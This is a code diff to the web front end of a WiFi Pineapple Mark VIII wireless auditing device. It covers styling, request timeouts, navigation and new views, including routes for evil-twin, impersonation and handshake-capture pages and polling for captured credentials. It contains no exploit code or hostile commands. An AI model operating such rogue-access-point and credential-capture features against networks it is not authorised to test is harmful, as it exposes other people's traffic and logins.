.sel { padding: 6px 8px; border: 1px solid var(--border, #e0e0e0); border-radius: 4px; background: var(--card, #fff); color: var(--text, #212121); }
|
||||
.pager { display: flex; gap: 8px; align-items: center; margin-top: 8px; }
|
||||
.muted { color: var(--muted, #686868); }
|
||||
@@ -293,29 +322,54 @@ html.dark .sel { background: #424242; border-color: #545454; color: #fff; }
|
||||
html.dark .muted { color: #bdbdbd; }
|
||||
|
||||
/* ---- Recon (Mark VII parity) ---- */
|
||||
.recon-title-card-container { display: flex; width: 100%; flex-wrap: wrap; justify-content: space-between; gap: 10px; margin: 8px 0 16px; }
|
||||
.recon-title-card { flex: 1 1 220px; min-width: 220px; margin-bottom: 1em; }
|
||||
.recon-card { background: var(--surface); border-radius: 2px; box-shadow: var(--shadow); height: 200px; padding: 12px 16px; display: flex; flex-direction: column; }
|
||||
.recon-title-card-title { font-size: 20px; margin-bottom: 15px; display: flex; align-items: center; color: var(--text); }
|
||||
.recon-title-card-container { display: flex; width: 100%; flex-wrap: wrap; gap: 10px; margin: 8px 0 16px; }
|
||||
.recon-card {
|
||||
flex: 1 1 0; min-width: 170px; height: 190px;
|
||||
background: var(--surface); border-radius: 2px; box-shadow: var(--shadow);
|
||||
padding: 12px 14px; display: flex; flex-direction: column;
|
||||
}
|
||||
.recon-card-title {
|
||||
font-size: 12px; text-transform: uppercase; letter-spacing: .05em;
|
||||
color: var(--muted); margin-bottom: 6px; display: flex; align-items: center;
|
||||
}
|
||||
.recon-card-title-link { color: inherit; text-decoration: none; }
|
||||
.recon-card-title-link:visited { color: inherit; }
|
||||
.recon-card-title-link:hover { text-decoration: underline; }
|
||||
.recon-title-card-content { display: flex; justify-content: center; align-items: center; height: 70%; }
|
||||
.recon-chart-box { width: 100%; height: 150px; position: relative; }
|
||||
.recon-chart-box canvas { width: 100%; height: 100%; }
|
||||
.recon-no-data { font-style: italic; color: #787878; display: flex; justify-content: center; padding: 12px; }
|
||||
.recon-hs-col { display: flex; flex-direction: column; justify-content: center; align-items: center; }
|
||||
.recon-card-title-link:hover { color: var(--primary); text-decoration: underline; }
|
||||
.recon-card-body { display: flex; flex-direction: column; flex: 1; min-height: 0; }
|
||||
.recon-card-value {
|
||||
font-size: 26px; font-weight: 700; line-height: 1.15; color: var(--text);
|
||||
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
|
||||
}
|
||||
.recon-card-sub {
|
||||
font-size: 12px; color: var(--muted); margin: 1px 0 6px; min-height: 16px;
|
||||
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
|
||||
}
|
||||
.recon-chart-box { position: relative; flex: 1; min-height: 0; margin-top: auto; }
|
||||
.recon-chart-box canvas { position: absolute; inset: 0; width: 100%; height: 100%; }
|
||||
#recon-encryption, #recon-landscape { position: static; display: block; width: 112px; height: 112px; margin: 0 auto; }
|
||||
.recon-no-data { font-style: italic; color: #787878; display: flex; justify-content: center; align-items: center; padding: 8px; text-align: center; }
|
||||
.recon-chart-legend { display: flex; flex-wrap: wrap; gap: 2px 10px; margin-top: 4px; align-items: baseline; }
|
||||
.recon-chart-entry { display: inline-flex; align-items: center; gap: 5px; font-size: 11px; color: var(--text); }
|
||||
.recon-chart-dot { width: 8px; height: 8px; border-radius: 50%; flex: 0 0 auto; }
|
||||
.recon-chart-label { color: var(--muted); }
|
||||
.recon-chart-count { font-weight: 600; color: var(--text); font-variant-numeric: tabular-nums; }
|
||||
.recon-hs-count { font-size: 32px; font-weight: 700; line-height: 1.1; }
|
||||
.recon-hs-label { color: grey; margin: 2px 0 10px; }
|
||||
.recon-toggle { display: flex; align-items: center; gap: 8px; font-size: 13px; color: var(--text); margin: 0; cursor: pointer; }
|
||||
.recon-ps-row { display: flex; align-items: center; width: 100%; gap: 4px; }
|
||||
.recon-ps-row .sel { width: 100%; }
|
||||
.recon-hs-label { color: var(--muted); font-size: 12px; margin: 1px 0 8px; }
|
||||
.recon-toggle { display: flex; align-items: center; gap: 6px; font-size: 12px; color: var(--text); margin: 0; cursor: pointer; flex-wrap: wrap; min-width: 0; }
|
||||
.recon-ps-row { display: flex; align-items: center; width: 100%; gap: 4px; margin-top: 2px; }
|
||||
.recon-ps-row .sel { width: 100%; font-size: 12px; padding: 4px 6px; }
|
||||
.recon-ps-actions { display: flex; align-items: center; gap: 2px; margin-top: 4px; }
|
||||
.recon-ps-actions .icon-btn { width: 28px; height: 28px; }
|
||||
.recon-ps-actions .icon-btn svg { width: 18px; height: 18px; }
|
||||
.icon-btn { background: transparent; color: var(--muted); border: 0; border-radius: 50%; width: 36px; height: 36px; display: inline-flex; align-items: center; justify-content: center; cursor: pointer; padding: 0; }
|
||||
.icon-btn:hover { background: var(--surface-alt); color: var(--text); }
|
||||
.icon-btn:disabled { opacity: .38; cursor: default; }
|
||||
.icon-btn:disabled, .icon-btn.busy { opacity: .38; cursor: wait; pointer-events: none; }
|
||||
.icon-btn svg { width: 22px; height: 22px; }
|
||||
.recon-scan-bar { display: flex; align-items: center; gap: 16px; flex-wrap: wrap; }
|
||||
.recon-scan-bar .sel { width: auto; }
|
||||
.recon-scan-status { font-size: 12px; }
|
||||
.recon-scan-status.warn { color: #b26a00; }
|
||||
html.dark .recon-scan-status.warn { color: #ffb74d; }
|
||||
.recon-table-head { display: flex; align-items: center; gap: 10px; margin-bottom: 8px; flex-wrap: wrap; }
|
||||
.recon-table-head h2 { margin: 0; }
|
||||
.recon-search { max-width: 180px; }
|
||||
@@ -324,6 +378,9 @@ html.dark .muted { color: #bdbdbd; }
|
||||
.recon-paginator .icon-btn svg { width: 18px; height: 18px; }
|
||||
.recon-row-selected td { background: #eaeaea; }
|
||||
html.dark .recon-row-selected td { background: #565656; }
|
||||
.recon-row-compare td { background: rgba(25, 118, 210, .08); }
|
||||
html.dark .recon-row-compare td { background: rgba(25, 118, 210, .18); }
|
||||
.recon-gps-cell { font-variant-numeric: tabular-nums; }
|
||||
.recon-settings-sidebar {
|
||||
position: fixed; top: 64px; right: 0; bottom: 0; width: 270px; z-index: 50;
|
||||
background: var(--surface); box-shadow: -2px 0 6px rgba(0,0,0,.24); padding: 16px;
|
||||
@@ -348,12 +405,73 @@ html.dark .recon-row-selected td { background: #565656; }
|
||||
.recon-focus-body { margin-top: 18px; }
|
||||
.recon-focus-body-title { font-size: 16px; margin-bottom: 8px; color: var(--text); }
|
||||
.recon-focus-action-button { width: 100%; margin-bottom: 5px; }
|
||||
.recon-focus-twin { background: var(--ok); }
|
||||
.recon-focus-twin:hover { background: #689f38; }
|
||||
.recon-focus-detail { display: flex; justify-content: space-between; gap: 10px; padding: 3px 0; border-bottom: 1px solid var(--border); font-size: 13px; }
|
||||
.recon-focus-detail-label { color: var(--muted); flex: none; }
|
||||
.recon-focus-client { display: grid; grid-template-columns: 1fr; gap: 2px; padding: 6px 0; border-bottom: 1px solid var(--border); font-size: 12px; }
|
||||
.recon-focus-client-mac { font-family: Consolas, Menlo, monospace; }
|
||||
.recon-focus-client-sources { color: var(--muted); }
|
||||
.recon-sort-arrow { color: var(--muted); font-size: 11px; }
|
||||
th.recon-sorted { color: var(--primary); }
|
||||
.recon-per { width: auto; }
|
||||
|
||||
/* ---- Recon supercharge: dBm bars, chips, pills ---- */
|
||||
.recon-dbm-cell { display: inline-flex; align-items: center; gap: 8px; white-space: nowrap; }
|
||||
.recon-dbm-bar { display: inline-block; width: 46px; height: 6px; border-radius: 3px; background: var(--surface-alt); overflow: hidden; vertical-align: middle; }
|
||||
html.dark .recon-dbm-bar { background: #333; }
|
||||
.recon-dbm-fill { display: block; height: 100%; border-radius: 3px; }
|
||||
.recon-dbm-val { font-variant-numeric: tabular-nums; }
|
||||
.recon-chips-row { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; margin: 4px 0 10px; }
|
||||
.recon-chips-label { font-size: 11px; text-transform: uppercase; letter-spacing: .06em; color: var(--muted); margin: 0 2px 0 8px; }
|
||||
.recon-chips-label:first-child { margin-left: 0; }
|
||||
.recon-chip { border: 1px solid var(--border); background: transparent; color: var(--muted); border-radius: 12px; padding: 3px 11px; font-size: 12px; cursor: pointer; }
|
||||
.recon-chip:hover { color: var(--text); border-color: var(--primary); }
|
||||
.recon-chip.active { background: var(--primary); border-color: var(--primary); color: #fff; }
|
||||
.recon-pill { border: 1px solid var(--border); background: transparent; color: var(--muted); border-radius: 12px; padding: 3px 11px; font-size: 12px; cursor: pointer; display: inline-flex; align-items: center; gap: 5px; max-width: 260px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.recon-pill:hover { color: var(--text); border-color: var(--primary); }
|
||||
.recon-pill:disabled, .recon-pill.busy { opacity: .5; cursor: wait; pointer-events: none; }
|
||||
.recon-pill.on { background: #e8f5e9; border-color: #a5d6a7; color: #2e7d32; }
|
||||
html.dark .recon-pill.on { background: #1b3a23; color: #81c784; }
|
||||
|
||||
/* ---- Recon compare + selection ---- */
|
||||
.recon-compare-hint { font-size: 12px; color: var(--muted); margin: -4px 0 8px; }
|
||||
.recon-compare-empty { margin: 6px 0; }
|
||||
.recon-compare-legend { display: flex; flex-wrap: wrap; gap: 12px; margin-top: 6px; }
|
||||
.recon-compare-legend-item { display: inline-flex; align-items: center; gap: 6px; font-size: 12px; }
|
||||
.recon-compare-swatch { width: 10px; height: 10px; border-radius: 50%; flex: none; }
|
||||
.recon-compare-sig { color: var(--muted); font-variant-numeric: tabular-nums; }
|
||||
.recon-cmp-check { display: inline-flex; }
|
||||
.recon-cmp-check input { width: auto; }
|
||||
.recon-sel-chips { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; margin: 2px 0 6px; }
|
||||
.recon-sel-chips.hidden { display: none; }
|
||||
.recon-sel-chip { display: inline-flex; align-items: center; gap: 5px; border: 1px solid var(--primary); border-radius: 12px; padding: 2px 8px 2px 11px; font-size: 12px; color: var(--text); background: var(--surface-alt); }
|
||||
.recon-sel-chip-x { cursor: pointer; color: var(--muted); font-weight: 700; padding: 0 2px; }
|
||||
.recon-sel-chip-x:hover { color: #e53935; }
|
||||
.recon-sel-clear { padding: 2px 10px; font-size: 12px; }
|
||||
|
||||
/* ---- Recon channel map ---- */
|
||||
.recon-map-sub { font-size: 12px; color: var(--muted); margin: -4px 0 6px; }
|
||||
.recon-map-chips { margin: 0 0 6px; }
|
||||
.recon-chip.disabled { opacity: .45; cursor: default; }
|
||||
.recon-chip.disabled:hover { color: var(--muted); border-color: var(--border); }
|
||||
.recon-map-box { position: relative; }
|
||||
.recon-map-box canvas { display: block; }
|
||||
.recon-map-box .recon-no-data { min-height: 60px; }
|
||||
.recon-map-tip {
|
||||
position: absolute; z-index: 20; min-width: 220px; max-width: 260px;
|
||||
background: var(--surface); border: 1px solid var(--border); border-radius: 3px;
|
||||
box-shadow: var(--shadow); padding: 8px 10px; pointer-events: none; font-size: 12px;
|
||||
color: var(--text);
|
||||
}
|
||||
.recon-map-tip-row { padding: 3px 0; border-bottom: 1px solid var(--border); }
|
||||
.recon-map-tip-row:last-child { border-bottom: 0; }
|
||||
.recon-map-tip-ssid { font-weight: 600; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.recon-map-tip-meta { color: var(--muted); font-size: 11px; font-variant-numeric: tabular-nums; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
|
||||
/* ---- Reports view ---- */
|
||||
.wigle-warn { color: #ef6c00; font-size: 12px; }
|
||||
|
||||
/* ---- Mark VII handshakes table + settings dialog ---- */
|
||||
.hs-cell-center { text-align: center; }
|
||||
.hs-ok, .hs-bad, .hs-na { display: inline-flex; vertical-align: middle; }
|
||||
@@ -376,12 +494,12 @@ th.recon-sorted { color: var(--primary); }
|
||||
.hs-settings-value { font-family: Consolas, Menlo, monospace; word-break: break-all; }
|
||||
html.dark .modal { background: #303030; }
|
||||
|
||||
/* ---- PineAP overview segmented control ---- */
|
||||
/* ---- PineAP segmented control ---- */
|
||||
.seg { display: inline-flex; margin-top: 8px; border: 1px solid var(--border, #e0e0e0); border-radius: 4px; overflow: hidden; }
|
||||
.seg-btn { background: transparent; border: none; padding: 5px 14px; font-size: 12px; cursor: pointer; color: var(--muted, #666); }
|
||||
.seg-btn + .seg-btn { border-left: 1px solid var(--border, #e0e0e0); }
|
||||
.seg-btn.active { background: var(--primary, #1976d2); color: #fff; }
|
||||
.seg-btn.busy { opacity: .5; pointer-events: none; }
|
||||
.seg-btn:disabled, .seg-btn.busy { opacity: .5; cursor: wait; pointer-events: none; }
|
||||
|
||||
/* ---- PineAP Mark VII layout ---- */
|
||||
.pineap-title-card-container { display: flex; width: 100%; flex-wrap: wrap; justify-content: space-between; gap: 30px; margin: 8px 0 16px; }
|
||||
@@ -392,11 +510,6 @@ html.dark .modal { background: #303030; }
|
||||
.pineap-card-title-link:visited { color: inherit; }
|
||||
.pineap-card-title-link:hover { text-decoration: underline; }
|
||||
.pineap-card-title-content { display: flex; justify-content: center; align-items: center; font-size: 24px; }
|
||||
.pineap-card-button-group { width: 100%; height: 30px; display: flex; }
|
||||
.pineap-card-button-group .seg { flex: 1; height: 100%; margin-top: 0; }
|
||||
.pineap-card-button-group .seg-btn { flex: 1; }
|
||||
.pineap-mode-save { display: flex; justify-content: flex-end; margin-top: 10px; }
|
||||
.pineap-mode-features { margin: 6px 0 0; padding-left: 20px; }
|
||||
.pineap-card-settings, .pineap-card-pool, .pineap-card-handshakes, .pineap-card-inject { flex: 1; }
|
||||
.pineap-handshakes-none { display: flex; justify-content: center; font-style: italic; color: var(--muted); }
|
||||
|
||||
@@ -419,6 +532,7 @@ html.dark .modal { background: #303030; }
|
||||
.pineap-infobox { border-radius: 2px; padding: 10px 12px; margin-top: 10px; font-size: 13px; display: flex; flex-direction: column; gap: 8px; }
|
||||
.pineap-infobox.error { background: #fdecea; color: #b71c1c; border: 1px solid #f5c6cb; }
|
||||
.pineap-infobox.info { background: #e3f2fd; color: #0d47a1; border: 1px solid #90caf9; }
|
||||
.pineap-infobox.warn { background: #fff8e1; color: #f57f17; border: 1px solid #ffe082; }
|
||||
.pineap-infobox-actions { display: flex; gap: 8px; flex-wrap: wrap; }
|
||||
html.dark .pineap-infobox.error { background: #4a2020; color: #ffb4a9; border-color: #6b2d2d; }
|
||||
html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-color: #1d3a54; }
|
||||
@@ -474,6 +588,27 @@ html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-col
|
||||
.settings-diagnostics { max-height: 520px; white-space: pre-wrap; word-break: break-word; }
|
||||
.settings-card > .switch { display: flex; margin: 10px 0; color: var(--text); font-size: 13px; }
|
||||
.settings-card a { color: var(--primary); }
|
||||
|
||||
/* ---- WiFi client mode ---- */
|
||||
.client-status { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 4px 20px; }
|
||||
.client-kv { display: flex; align-items: center; justify-content: space-between; gap: 12px; border-bottom: 1px solid var(--border); padding: 6px 0; font-size: 13px; }
|
||||
.client-kv > span { color: var(--muted); }
|
||||
.client-actions { display: flex; gap: 8px; flex-wrap: wrap; margin: 12px 0 4px; }
|
||||
.client-networks { display: flex; flex-direction: column; gap: 6px; margin-top: 8px; max-height: 320px; overflow-y: auto; }
|
||||
.client-net-row { display: flex; align-items: center; gap: 12px; padding: 9px 10px; border: 1px solid var(--border); border-radius: 3px; }
|
||||
.client-net-main { flex: 1; min-width: 0; display: flex; flex-direction: column; }
|
||||
.client-net-ssid { font-weight: 500; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.client-net-enc { font-size: 11px; color: var(--muted); }
|
||||
.client-net-signal { color: var(--muted); font-size: 12px; white-space: nowrap; }
|
||||
.client-connect-form { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; width: 100%; }
|
||||
.client-connect-form input[type=password] { flex: 1 1 160px; }
|
||||
.client-routing { display: flex; align-items: center; gap: 8px; margin: 8px 0 0; color: var(--text); font-size: 13px; }
|
||||
.client-routing.hidden { display: none; }
|
||||
.client-connect-form .client-routing { margin: 0; }
|
||||
.client-modal { width: 560px; }
|
||||
@media (max-width: 700px) {
|
||||
.client-modal { min-width: 0; width: auto; }
|
||||
}
|
||||
@media (max-width: 700px) {
|
||||
.tabbar { overflow-x: auto; flex-wrap: nowrap; }
|
||||
.tabbar .tab { flex: 0 0 auto; }
|
||||
@@ -482,3 +617,37 @@ html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-col
|
||||
.payload-filters, .payload-dev-grid { grid-template-columns: 1fr; }
|
||||
.payload-actions { justify-content: flex-start; }
|
||||
}
|
||||
|
||||
/* ---- Mark VIII reliability panel ---- */
|
||||
.mk8-rel-head { display: flex; align-items: center; gap: 10px; margin-bottom: 12px; }
|
||||
.mk8-rel-head h2 { margin: 0; }
|
||||
.mk8-counter-row {
|
||||
display: grid; grid-template-columns: repeat(auto-fit, minmax(130px, 1fr));
|
||||
gap: 10px; margin-bottom: 14px;
|
||||
}
|
||||
.mk8-counter { background: var(--surface-alt); border-radius: 2px; padding: 8px 12px; }
|
||||
.mk8-counter-value { font-size: 22px; font-weight: 500; font-variant-numeric: tabular-nums; }
|
||||
.mk8-counter-label { font-size: 11px; text-transform: uppercase; letter-spacing: .05em; color: var(--muted); }
|
||||
.mk8-events-feed { max-height: 280px; overflow-y: auto; border-top: 1px solid var(--border); }
|
||||
.mk8-event-row {
|
||||
display: flex; align-items: baseline; gap: 10px; padding: 6px 2px;
|
||||
border-bottom: 1px solid var(--border); font-size: 12px;
|
||||
}
|
||||
.mk8-event-time { flex: none; color: var(--muted); font-variant-numeric: tabular-nums; }
|
||||
.mk8-event-kind { flex: none; min-width: 90px; font-size: 11px; text-transform: uppercase; letter-spacing: .05em; color: var(--primary); }
|
||||
.mk8-event-msg { flex: 1; min-width: 0; overflow-wrap: anywhere; }
|
||||
.mk8-event-row.sev-warn .mk8-event-msg { color: #b26a00; }
|
||||
.mk8-event-row.sev-error .mk8-event-msg { color: var(--danger); }
|
||||
html.dark .mk8-event-row.sev-warn .mk8-event-msg { color: #ffb74d; }
|
||||
|
||||
/* ---- Mark VIII RF plan chip + role card ---- */
|
||||
#rf-chip { white-space: nowrap; }
|
||||
.rf-role-status { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; margin: 4px 0 10px; font-size: 12px; }
|
||||
.rf-role-grid {
|
||||
display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
|
||||
gap: 4px 14px; align-items: end;
|
||||
}
|
||||
.mk8-rf-result { font-size: 12px; margin-top: 10px; min-height: 16px; overflow-wrap: anywhere; }
|
||||
.mk8-rf-result.ok { color: #2e7d32; }
|
||||
.mk8-rf-result.error { color: var(--danger); }
|
||||
html.dark .mk8-rf-result.ok { color: #81c784; }
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
<meta name="color-scheme" content="light dark">
|
||||
<title>WiFi Pineapple</title>
|
||||
<link rel="icon" type="image/png" href="assets/logo.png">
|
||||
<link rel="stylesheet" href="css/app.css?v=20260811-9">
|
||||
<link rel="stylesheet" href="css/app.css?v=20260822-1">
|
||||
<link rel="stylesheet" href="js/xterm.css">
|
||||
</head>
|
||||
<body>
|
||||
@@ -26,6 +26,8 @@
|
||||
<span id="brand-text" class="brand-text">Mark VIII</span>
|
||||
<span class="toolbar-spacer"></span>
|
||||
<span id="live-status"></span>
|
||||
<span id="health-status" class="health-chip"></span>
|
||||
<span id="rf-chip" class="health-chip"></span>
|
||||
<div class="toolbar-action">
|
||||
<button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications"
|
||||
aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button>
|
||||
@@ -260,14 +262,14 @@
|
||||
<div id="toast-container"></div>
|
||||
|
||||
<script src="js/config.js"></script>
|
||||
<script src="js/icons.js?v=20260811-6"></script>
|
||||
<script src="js/api.js?v=20260811-3"></script>
|
||||
<script src="js/chart.js"></script>
|
||||
<script src="js/icons.js?v=20260818-7"></script>
|
||||
<script src="js/api.js?v=20260820-4"></script>
|
||||
<script src="js/chart.js?v=20260819-1"></script>
|
||||
<script src="js/xterm.min.js"></script>
|
||||
<script src="js/xterm-addon-fit.min.js"></script>
|
||||
<script src="js/terminal.js"></script>
|
||||
<script src="js/pager.js"></script>
|
||||
<script src="js/views.js?v=20260811-11"></script>
|
||||
<script src="js/app.js?v=20260811-9"></script>
|
||||
<script src="js/terminal.js?v=20260820-4"></script>
|
||||
<script src="js/pager.js?v=20260820-4"></script>
|
||||
<script src="js/views.js?v=20260822-3"></script>
|
||||
<script src="js/app.js?v=20260822-3"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -3,13 +3,32 @@
|
||||
const PagerAPI = (() => {
|
||||
let apiBase = '';
|
||||
let on401 = null;
|
||||
async function request(method, path, body) {
|
||||
const GET_TIMEOUT_MS = 20000;
|
||||
const WRITE_TIMEOUT_MS = 45000;
|
||||
async function request(method, path, body, attempt) {
|
||||
attempt = attempt || 0;
|
||||
const opts = { method, headers: {}, credentials: 'include' };
|
||||
if (body !== undefined) {
|
||||
opts.headers['Content-Type'] = 'application/json';
|
||||
opts.body = JSON.stringify(body);
|
||||
}
|
||||
const res = await fetch(apiBase + path, opts);
|
||||
const timeoutMs = method === 'GET' ? GET_TIMEOUT_MS : WRITE_TIMEOUT_MS;
|
||||
const ctl = new AbortController();
|
||||
const timer = setTimeout(() => ctl.abort(), timeoutMs);
|
||||
opts.signal = ctl.signal;
|
||||
let res;
|
||||
try {
|
||||
res = await fetch(apiBase + path, opts);
|
||||
} catch (e) {
|
||||
clearTimeout(timer);
|
||||
if (method === 'GET' && attempt < 1) {
|
||||
return request(method, path, body, attempt + 1);
|
||||
}
|
||||
const error = new Error((e && e.name === 'AbortError') ? 'Request timed out' : (e && e.message) || 'Network error');
|
||||
error.status = 0;
|
||||
throw error;
|
||||
}
|
||||
clearTimeout(timer);
|
||||
if (res.status === 401) {
|
||||
if (on401) on401();
|
||||
throw new Error('unauthorized');
|
||||
@@ -23,7 +42,9 @@ const PagerAPI = (() => {
|
||||
data = await res.text();
|
||||
}
|
||||
if (!res.ok) {
|
||||
const message = data && data.error ? data.error : ('HTTP ' + res.status);
|
||||
const detail = data && typeof data.detail === 'string' ? data.detail : '';
|
||||
const message = (data && data.error ? data.error : ('HTTP ' + res.status)) +
|
||||
(detail ? ': ' + detail : '');
|
||||
const error = new Error(message);
|
||||
error.status = res.status;
|
||||
error.data = data;
|
||||
|
||||
@@ -33,6 +33,7 @@ const App = (() => {
|
||||
{ key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' },
|
||||
{ key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' },
|
||||
{ key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' },
|
||||
{ key: 'harness', label: 'Harness', hash: '#/harness', icon: 'robot' },
|
||||
{ key: 'settings', label: 'Settings', hash: '#/settings', icon: 'settings' }
|
||||
];
|
||||
const railDividers = new Set(['logging']);
|
||||
@@ -83,7 +84,22 @@ const App = (() => {
|
||||
|
||||
function route() {
|
||||
closeToolbarMenus();
|
||||
const hash = location.hash || '#/dashboard';
|
||||
let hash = (location.hash || '#/dashboard').replace(/\/+$/, '');
|
||||
if (hash === '#/recon/survey') {
|
||||
location.hash = '#/recon';
|
||||
return;
|
||||
}
|
||||
if (hash.indexOf('#/attacks') === 0) {
|
||||
const map = {
|
||||
'#/attacks': '#/pineap',
|
||||
'#/attacks/wpa': '#/pineap/evilwpa',
|
||||
'#/attacks/open': '#/pineap/open',
|
||||
'#/attacks/enterprise': '#/pineap/enterprise'
|
||||
};
|
||||
hash = map[hash] || '#/pineap';
|
||||
location.replace(hash);
|
||||
return;
|
||||
}
|
||||
const name = routes[hash];
|
||||
if (currentView && currentView.destroy) currentView.destroy();
|
||||
els.content.innerHTML = '';
|
||||
@@ -225,7 +241,7 @@ const App = (() => {
|
||||
});
|
||||
}
|
||||
|
||||
function handleMenuAction(action) {
|
||||
function handleMenuAction(action, button) {
|
||||
closeToolbarMenus();
|
||||
if (action === 'help') {
|
||||
location.hash = '#/settings/help';
|
||||
@@ -233,16 +249,21 @@ const App = (() => {
|
||||
location.hash = '#/settings/advanced';
|
||||
toast('Update controls are available in Advanced settings');
|
||||
} else if (action === 'internet') {
|
||||
checkInternet(true);
|
||||
if (typeof views.openClientModeModal === 'function') views.openClientModeModal();
|
||||
else checkInternet(true);
|
||||
} else if (action === 'logout') {
|
||||
if (button) { button.disabled = true; button.classList.add('busy'); }
|
||||
PagerAPI.post('/api/logout')
|
||||
.then(() => showLogin())
|
||||
.catch((error) => toast(error.message || 'Logout failed', 'error'));
|
||||
.catch((error) => toast(error.message || 'Logout failed', 'error'))
|
||||
.finally(() => { if (button) { button.disabled = false; button.classList.remove('busy'); } });
|
||||
} else if (action === 'reboot') {
|
||||
if (!window.confirm('Reboot Mark VIII now?')) return;
|
||||
if (button) { button.disabled = true; button.classList.add('busy'); }
|
||||
PagerAPI.post('/api/settings/reboot')
|
||||
.then(() => toast('Reboot requested. Mark VIII will disconnect shortly.'))
|
||||
.catch((error) => toast(error.message || 'Reboot failed', 'error'));
|
||||
.catch((error) => toast(error.message || 'Reboot failed', 'error'))
|
||||
.finally(() => { if (button) { button.disabled = false; button.classList.remove('busy'); } });
|
||||
}
|
||||
}
|
||||
|
||||
@@ -315,7 +336,7 @@ const App = (() => {
|
||||
renderNotifications();
|
||||
});
|
||||
Array.prototype.forEach.call(els.overflowMenu.querySelectorAll('[data-menu-action]'), (item) => {
|
||||
item.addEventListener('click', () => handleMenuAction(item.getAttribute('data-menu-action')));
|
||||
item.addEventListener('click', () => handleMenuAction(item.getAttribute('data-menu-action'), item));
|
||||
});
|
||||
document.addEventListener('click', closeToolbarMenus);
|
||||
|
||||
@@ -325,13 +346,14 @@ const App = (() => {
|
||||
const pw = document.getElementById('login-password').value;
|
||||
document.getElementById('login-error').textContent = '';
|
||||
btn.disabled = true;
|
||||
btn.classList.add('busy');
|
||||
PagerAPI.login('root', pw)
|
||||
.then(() => { document.getElementById('login-password').value = ''; showApp(); toast('Logged in'); })
|
||||
.catch((err) => {
|
||||
document.getElementById('login-error').textContent = (err && err.message && err.message !== 'unauthorized')
|
||||
? 'Login failed.' : 'Invalid credentials.';
|
||||
})
|
||||
.finally(() => { btn.disabled = false; });
|
||||
.finally(() => { btn.disabled = false; btn.classList.remove('busy'); });
|
||||
});
|
||||
|
||||
document.getElementById('terminal-btn').addEventListener('click', () => {
|
||||
@@ -389,12 +411,14 @@ const App = (() => {
|
||||
const routes = {
|
||||
'#/dashboard': 'dashboard',
|
||||
'#/pineap': 'pineap',
|
||||
'#/pineap/open': 'pineap_open',
|
||||
'#/pineap/evilwpa': 'pineap_evilwpa',
|
||||
'#/pineap/enterprise': 'pineap_enterprise',
|
||||
'#/pineap/open': 'pineap_open',
|
||||
'#/pineap/impersonation': 'pineap_impersonation',
|
||||
'#/pineap/clients': 'pineap_clients',
|
||||
'#/pineap/filtering': 'pineap_filtering',
|
||||
'#/recon': 'recon',
|
||||
'#/recon/reports': 'recon_reports',
|
||||
'#/recon/handshakes': 'recon_handshakes',
|
||||
'#/logging': 'logging',
|
||||
'#/logging/system': 'logging_system',
|
||||
@@ -407,11 +431,13 @@ const App = (() => {
|
||||
'#/settings/wifi': 'settings_wifi',
|
||||
'#/settings/led': 'settings_led',
|
||||
'#/settings/advanced': 'settings_advanced',
|
||||
'#/settings/help': 'settings_help'
|
||||
'#/settings/help': 'settings_help',
|
||||
'#/harness': 'harness'
|
||||
};
|
||||
|
||||
return { init, route, toast, showLogin, wsUrl: (p) => WS_BASE + p, terminalWs: TERMINAL_WS,
|
||||
pagerScreenWs: PAGER_SCREEN_WS, pagerKeysWs: PAGER_KEYS_WS, apiBase: API_BASE,
|
||||
return { init, route, toast, showLogin, checkInternet, wsUrl: (p) => WS_BASE + p,
|
||||
terminalWs: TERMINAL_WS, pagerScreenWs: PAGER_SCREEN_WS,
|
||||
pagerKeysWs: PAGER_KEYS_WS, apiBase: API_BASE,
|
||||
keyOf, railItems, go: (h) => { location.hash = h; },
|
||||
get key() { return keyOf(location.hash); } };
|
||||
})();
|
||||
@@ -420,6 +446,13 @@ const Live = (() => {
|
||||
let ws = null;
|
||||
let ever = false;
|
||||
let poll = null;
|
||||
let pollHealthTimer = null;
|
||||
let pollEventsTimer = null;
|
||||
let pollRfTimer = null;
|
||||
let rfState = null;
|
||||
let rfChannel = null;
|
||||
const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false,
|
||||
pineapUp: null, mon0: null, mon1: null };
|
||||
const subs = [];
|
||||
let timer = null;
|
||||
function stopPoll() {
|
||||
@@ -428,6 +461,18 @@ const Live = (() => {
|
||||
function start() {
|
||||
if (ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING)) return;
|
||||
stopPoll();
|
||||
if (!pollHealthTimer) {
|
||||
pollHealthTimer = setInterval(pollHealth, 15000);
|
||||
pollHealth();
|
||||
}
|
||||
if (!pollEventsTimer) {
|
||||
pollEventsTimer = setInterval(pollEvents, 15000);
|
||||
pollEvents();
|
||||
}
|
||||
if (!pollRfTimer) {
|
||||
pollRfTimer = setInterval(pollRfplan, 15000);
|
||||
pollRfplan();
|
||||
}
|
||||
try { ws = new WebSocket(App.wsUrl('/api/ws')); }
|
||||
catch (e) { fallback(); return; }
|
||||
ws.onopen = () => { ever = true; };
|
||||
@@ -474,6 +519,112 @@ const Live = (() => {
|
||||
const n = (msg.clients || []).length;
|
||||
const el = document.getElementById('live-status');
|
||||
